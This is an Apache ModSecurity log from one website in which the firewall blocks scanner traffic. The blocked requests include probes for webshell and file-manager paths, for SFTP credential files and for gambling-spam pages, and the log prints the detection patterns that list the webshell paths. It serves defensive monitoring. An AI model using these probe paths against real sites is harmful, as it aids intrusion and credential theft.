[Sat Feb 07 14:26:49.992462 2026] [:error] [pid 50673:tid 50755] [client 65.108.2.171:18958] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aYbbKWVwLsaZ7aKO2cmihwAAAJQ"]
[Sat Feb 07 14:26:52.641774 2026] [:error] [pid 55157:tid 55167] [client 65.108.2.171:18962] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aYbbLH36JdtTn2bTEox2QQAAAQU"]
[Sat Feb 07 14:26:55.239545 2026] [:error] [pid 58058:tid 58076] [client 65.108.2.171:11676] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aYbbL7z-Qlvs65S4DP_CRgAAAY8"]
[Sat Feb 07 14:26:57.825486 2026] [:error] [pid 50780:tid 50787] [client 65.108.2.171:11690] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aYbbMetUmIu2JHM2Crs6qwAAAMU"]
[Sat Feb 07 14:27:00.430382 2026] [:error] [pid 50780:tid 50796] [client 65.108.2.171:11714] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aYbbNOtUmIu2JHM2Crs6rwAAAM4"]
[Sat Feb 07 14:27:03.012490 2026] [:error] [pid 58058:tid 58078] [client 65.108.2.171:11736] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aYbbN7z-Qlvs65S4DP_CSgAAAZE"]
[Sat Feb 07 14:27:05.595777 2026] [:error] [pid 50672:tid 50726] [client 65.108.2.171:48468] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "aYbbOQ9o0jq1XS8Nv7P5XwAAAFI"]
[Sat Feb 07 18:58:15.526477 2026] [:error] [pid 58058:tid 58072] [client 43.131.243.61:59296] [client 43.131.243.61] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aYcax7z-Qlvs65S4DP8EmgAAAYs"]
[Sat Feb 07 20:06:02.106892 2026] [:error] [pid 50780:tid 50796] [client 170.106.72.178:60270] [client 170.106.72.178] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aYcqqutUmIu2JHM2CrutqgAAAM4"]
[Sat Feb 07 22:00:33.666884 2026] [:error] [pid 30684:tid 30699] [client 31.171.130.144:43157] [client 31.171.130.144] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aYdFgbqwdxwowLt-_Lwd3AAAAcw"]
[Sat Feb 07 22:00:37.837476 2026] [:error] [pid 50673:tid 50754] [client 31.171.130.150:53341] [client 31.171.130.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aYdFhWVwLsaZ7aKO2ckdVwAAAJM"]
[Sat Feb 07 22:00:41.747078 2026] [:error] [pid 50672:tid 50720] [client 31.171.130.155:23155] [client 31.171.130.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aYdFiQ9o0jq1XS8Nv7NWFgAAAEw"]
[Sat Feb 07 22:00:47.930841 2026] [:error] [pid 50671:tid 50703] [client 31.171.130.145:59463] [client 31.171.130.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aYdFj7vqLohWBI_mqBOzQQAAABc"]
[Sat Feb 07 22:00:51.880382 2026] [:error] [pid 50672:tid 50726] [client 31.171.130.161:60841] [client 31.171.130.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aYdFkw9o0jq1XS8Nv7NWXwAAAFI"]
[Sat Feb 07 22:00:53.364522 2026] [:error] [pid 50780:tid 50798] [client 31.171.130.150:50123] [client 31.171.130.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aYdFletUmIu2JHM2CrvMTwAAANA"]
[Sat Feb 07 22:00:54.367050 2026] [:error] [pid 43182:tid 43201] [client 31.171.130.139:50171] [client 31.171.130.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "aYdFlvEC82JnxmrnFYnbEgAAAVE"]
[Sat Feb 07 22:00:55.375080 2026] [:error] [pid 55157:tid 55169] [client 31.171.130.159:59467] [client 31.171.130.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "aYdFl336JdtTn2bTEozZrAAAAQc"]
[Sat Feb 07 22:00:56.401686 2026] [:error] [pid 50671:tid 50695] [client 31.171.130.122:58577] [client 31.171.130.122] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "aYdFmLvqLohWBI_mqBOzcgAAAA8"]
[Sat Feb 07 22:00:57.362713 2026] [:error] [pid 50672:tid 50719] [client 31.171.130.161:40183] [client 31.171.130.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "aYdFmQ9o0jq1XS8Nv7NWfQAAAEs"]
[Sat Feb 07 22:00:58.870943 2026] [:error] [pid 55157:tid 55183] [client 31.171.130.147:48199] [client 31.171.130.147] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "aYdFmn36JdtTn2bTEozZvAAAARU"]
[Sat Feb 07 22:01:00.979950 2026] [:error] [pid 58058:tid 58081] [client 31.171.130.157:39481] [client 31.171.130.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/filemanager.php"] [unique_id "aYdFnLz-Qlvs65S4DP8yPQAAAZQ"]
[Sat Feb 07 22:01:02.988430 2026] [:error] [pid 50672:tid 50728] [client 31.171.130.134:44315] [client 31.171.130.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "aYdFng9o0jq1XS8Nv7NWmwAAAFQ"]
[Sat Feb 07 22:01:04.499516 2026] [:error] [pid 30684:tid 30689] [client 31.171.130.135:44209] [client 31.171.130.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aYdFoLqwdxwowLt-_LwetAAAAcI"]
[Sat Feb 07 22:01:05.983969 2026] [:error] [pid 55157:tid 55174] [client 31.171.130.143:22131] [client 31.171.130.143] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aYdFoX36JdtTn2bTEozZ1QAAAQw"]
[Sun Feb 08 00:01:02.536735 2026] [:error] [pid 58058:tid 58066] [client 175.6.217.4:38178] [client 175.6.217.4] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aYdhvrz-Qlvs65S4DP9pcAAAAYU"]
[Sun Feb 08 00:16:10.413593 2026] [:error] [pid 55157:tid 55174] [client 103.77.107.178:64172] [client 103.77.107.178] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/sftp-config.json"] [unique_id "aYdlSn36JdtTn2bTEowQAgAAAQw"]
[Sun Feb 08 00:16:11.084368 2026] [:error] [pid 50673:tid 50751] [client 103.77.107.178:64490] [client 103.77.107.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.vscode/sftp.json"] [unique_id "aYdlS2VwLsaZ7aKO2clWhwAAAJA"]
[Sun Feb 08 00:35:13.480938 2026] [:error] [pid 62342:tid 62429] [client 147.135.213.32:54764] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aYdpwewzANoqjscwU_616QAAAIA"]
[Sun Feb 08 00:35:16.563212 2026] [:error] [pid 62342:tid 62436] [client 147.135.213.32:54780] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aYdpxOwzANoqjscwU_617AAAAIc"]
[Sun Feb 08 00:35:19.505472 2026] [:error] [pid 62342:tid 62434] [client 147.135.213.32:40340] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aYdpx-wzANoqjscwU_62CQAAAIU"]
[Sun Feb 08 00:35:22.749836 2026] [:error] [pid 62341:tid 62403] [client 147.135.213.32:40348] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aYdpyp-t2yekx5OosV4XzwAAAEE"]
[Sun Feb 08 00:35:26.079150 2026] [:error] [pid 46302:tid 46374] [client 147.135.213.32:40362] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aYdpzuLz0c8aDYK5YhbBJwAAARc"]
[Sun Feb 08 00:35:29.384935 2026] [:error] [pid 62340:tid 62386] [client 147.135.213.32:40436] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aYdp0Qp6H49g9bqshit7FAAAAAs"]
[Sun Feb 08 00:35:32.451682 2026] [:error] [pid 62342:tid 62436] [client 147.135.213.32:40444] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aYdp1OwzANoqjscwU_62HQAAAIc"]
[Sun Feb 08 00:35:35.535510 2026] [:error] [pid 62342:tid 62430] [client 147.135.213.32:40456] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aYdp1-wzANoqjscwU_62KgAAAIE"]
[Sun Feb 08 00:35:38.809375 2026] [:error] [pid 46302:tid 46375] [client 147.135.213.32:36132] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot.aspx"] [unique_id "aYdp2uLz0c8aDYK5YhbBLwAAARg"]
[Sun Feb 08 00:35:42.189320 2026] [:error] [pid 62342:tid 62439] [client 147.135.213.32:36134] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aYdp3uwzANoqjscwU_62PQAAAIo"]
[Sun Feb 08 00:35:45.888700 2026] [:error] [pid 46302:tid 46357] [client 147.135.213.32:36142] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aYdp4eLz0c8aDYK5YhbBPAAAAQc"]
[Sun Feb 08 00:35:48.922836 2026] [:error] [pid 46302:tid 46359] [client 147.135.213.32:38588] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aYdp5OLz0c8aDYK5YhbBPgAAAQg"]
[Sun Feb 08 00:35:52.455616 2026] [:error] [pid 62340:tid 62396] [client 147.135.213.32:38592] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "aYdp6Ap6H49g9bqshit7NwAAABU"]
[Sun Feb 08 00:35:55.252627 2026] [:error] [pid 62340:tid 62390] [client 147.135.213.32:38602] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aYdp6wp6H49g9bqshit7PAAAAA8"]
[Sun Feb 08 00:35:58.355852 2026] [:error] [pid 46302:tid 46355] [client 147.135.213.32:60404] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "aYdp7uLz0c8aDYK5YhbBUAAAAQU"]
[Sun Feb 08 00:36:02.120199 2026] [:error] [pid 62641:tid 62648] [client 147.135.213.32:60418] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aYdp8i_seVuUK_C4AppZEQAAAMU"]
[Sun Feb 08 00:36:05.237964 2026] [:error] [pid 62342:tid 62442] [client 147.135.213.32:60424] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aYdp9ewzANoqjscwU_62cwAAAI0"]
[Sun Feb 08 00:36:08.579533 2026] [:error] [pid 62340:tid 62387] [client 147.135.213.32:35558] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aYdp-Ap6H49g9bqshit7RgAAAAw"]
[Sun Feb 08 00:43:37.611522 2026] [:error] [pid 46302:tid 46353] [client 43.157.188.74:36518] [client 43.157.188.74] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aYdrueLz0c8aDYK5YhbEVgAAAQM"]
[Sun Feb 08 04:21:17.726269 2026] [:error] [pid 24423:tid 24500] [client 20.215.184.141:43980] [client 20.215.184.141] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aYeevU3f9n1Y0TpV5YZsfwAAAI8"]
[Sun Feb 08 04:21:21.833053 2026] [:error] [pid 24422:tid 24479] [client 20.215.184.141:32039] [client 20.215.184.141] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aYeewSNNjcLoSCLKhTdvmAAAAFU"]
[Sun Feb 08 04:21:25.271958 2026] [:error] [pid 56906:tid 56922] [client 20.215.184.141:32007] [client 20.215.184.141] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aYeexfxl3WX27-WXfDh07gAAAQ4"]
[Sun Feb 08 06:19:27.204700 2026] [:error] [pid 24423:tid 24501] [client 106.54.62.156:33838] [client 106.54.62.156] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aYe6b03f9n1Y0TpV5YaRdgAAAJA"]
